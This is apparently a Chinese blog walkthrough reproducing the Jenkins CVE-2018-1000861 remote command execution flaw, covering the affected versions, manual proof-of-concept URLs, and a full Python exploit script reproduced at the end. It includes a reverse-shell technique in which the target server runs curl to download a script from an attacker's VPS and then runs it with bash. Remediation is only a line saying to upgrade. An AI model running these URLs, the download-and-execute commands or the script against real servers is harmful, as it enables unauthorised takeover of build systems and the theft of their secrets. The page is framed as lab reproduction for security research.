jenkins 命令执行 (CVE-2018-1000861)复现
所有文章,僅供安全研究與學習之用,后果自負!
 
jenkins 命令執行 (CVE-2018-1000861)
- jenkins 命令執行 (CVE-2018-1000861)
- 0x01 漏洞描述
- 0x02 影響范圍
- 0x03 漏洞復現
- 手工測試
- 腳本利用
 
- 0x04 漏洞修復
 
jenkins 命令執行 (CVE-2018-1000861)
0x01 漏洞描述
Jenkins 可以通過其網頁界面輕松設置和配置,其中包括即時錯誤檢查和內置幫助。 插件 通過更新中心中的 1000 多個插件,Jenkins 集成了持續集成和持續交付工具鏈中幾乎所有的工具。 Jenkins 是常見的CI/CD服務器, 最常見的就是爆破弱口令然后使用groovy執行命令
Jenkins使用Stapler框架開發,其允許用戶通過URL
 PATH來調用一次public方法。由于這個過程沒有做限制,攻擊者可以構造一些特殊的PATH來執行一些敏感的Java方法。
通過這個漏洞,我們可以找到很多可供利用的利用鏈。其中最嚴重的就是繞過Groovy沙盒導致未授權用戶可執行任意命令:Jenkins在沙盒中執行Groovy前會先檢查腳本是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執行任意命令。
0x02 影響范圍
Jenkins 2.153及更早版本,LTS 2.138.3及更早版本
app=“Jenkins”
0x03 漏洞復現
靶場 docker啟動 靶場環境
 
手工測試
命令執行poc
http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"touch /tmp/CVE-2018-1000861_is_success".execute()}}(1) 創建文件
http://ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"touch /tmp/CVE-2018-1000861_is_success".execute()}}
 進入 docker 容器查看
 創建成功
(2)反彈shell
直接使用bash命令失敗
需要vps 啟動http服務
python3 -m http.server 8888放置 cmd.txt
 內容如下
替換要執行的命令為
curl -o /tmp/1.sh http://VPSip:8888/cmd.txt
 bash /tmp/1.sh
瀏覽器訪問依次執行
http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/1.sh http://VPSip:8888/cmd.txt".execute()}}http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/1.sh".execute()}}反彈shell成功
腳本利用
腳本代碼在最下方
python2 使用
用法
 
 python2 exp.py http://靶機ip:8080/ “touch /tmp/123.txt”
 
反彈shell 同上 下載 腳本 在執行即可 就不截圖啦
0x04 漏洞修復
升級至最新版本
腳本
#!/usr/bin/python # coding: UTF-8 # author: Orange Tsai(@orange_8361) # import sys import requests from enum import Enum# remove bad SSL warnings try:requests.packages.urllib3.disable_warnings() except:passendpoint = 'descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'class mode(Enum):ACL_PATCHED = 0NOT_JENKINS = 1READ_ENABLE = 2READ_BYPASS = 3ENTRY_NOTFOUND = 999def usage():print ('''Usage:python exp.py <url> <cmd>''')def _log(msg, fail=False):nb = '[*]'if fail:nb = '[-]'print ('%s %s' % (nb, msg))def _get(url, params=None):r = requests.get(url, verify=False, params=params)return r.status_code, r.contentdef _add_bypass(url):return url + 'securityRealm/user/admin/'def check(url):flag, accessible = mode.ACL_PATCHED, False# check ANONYMOUS_READstatus, content = _get(url)if status == 200 and 'adjuncts' in content:flag, accessible = mode.READ_ENABLE, True_log('ANONYMOUS_READ enable!')elif status == 403:_log('ANONYMOUS_READ disable!')# check ACL bypass, CVE-2018-1000861status, content = _get(_add_bypass(url))if status == 200 and 'adjuncts' in content:flag, accessible = mode.READ_BYPASS, Trueelse:flag = mode.NOT_JENKINS# check entry point, CVE-2019-1003005if accessible:if flag is mode.READ_BYPASS:url = _add_bypass(url)status, content = _get(url + endpoint)if status == 404:flag = mode.ENTRY_NOTFOUNDreturn flagdef exploit(url, cmd):payload = 'public class x{public x(){new String("%s".decodeHex()).execute()}}' % cmd.encode('hex')params = {'sandbox': True, 'value': payload}status, content = _get(url + endpoint, params)if status == 200:_log('Exploit success!(it should be :P)')elif status == 405:_log('It seems Jenkins has patched the RCE gadget :(')else:_log('Exploit fail with HTTP status [%d]' % status, fail=True)if 'stack trace' in content:for _ in content.splitlines():if _.startswith('Caused:'):_log(_, fail=True)if __name__ == '__main__':if len(sys.argv) != 3:usage()exit()url = sys.argv[1].rstrip('/') + '/'cmd = sys.argv[2]flag = check(url)if flag is mode.ACL_PATCHED:_log('It seems Jenkins is up-to-date(>2.137) :(', fail=True)elif flag is mode.NOT_JENKINS:_log('Is this Jenkins?', fail=True)elif flag is mode.READ_ENABLE:exploit(url, cmd)elif flag is mode.READ_BYPASS:_log('Bypass with CVE-2018-1000861!')exploit(_add_bypass(url), cmd)else:_log('The `checkScript` is not found, please try other entries(see refs)', fail=True)總結
以上是生活随笔為你收集整理的jenkins 命令执行 (CVE-2018-1000861)复现的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: uip协议栈入门
- 下一篇: 【Java开发】命令解析框架Comman
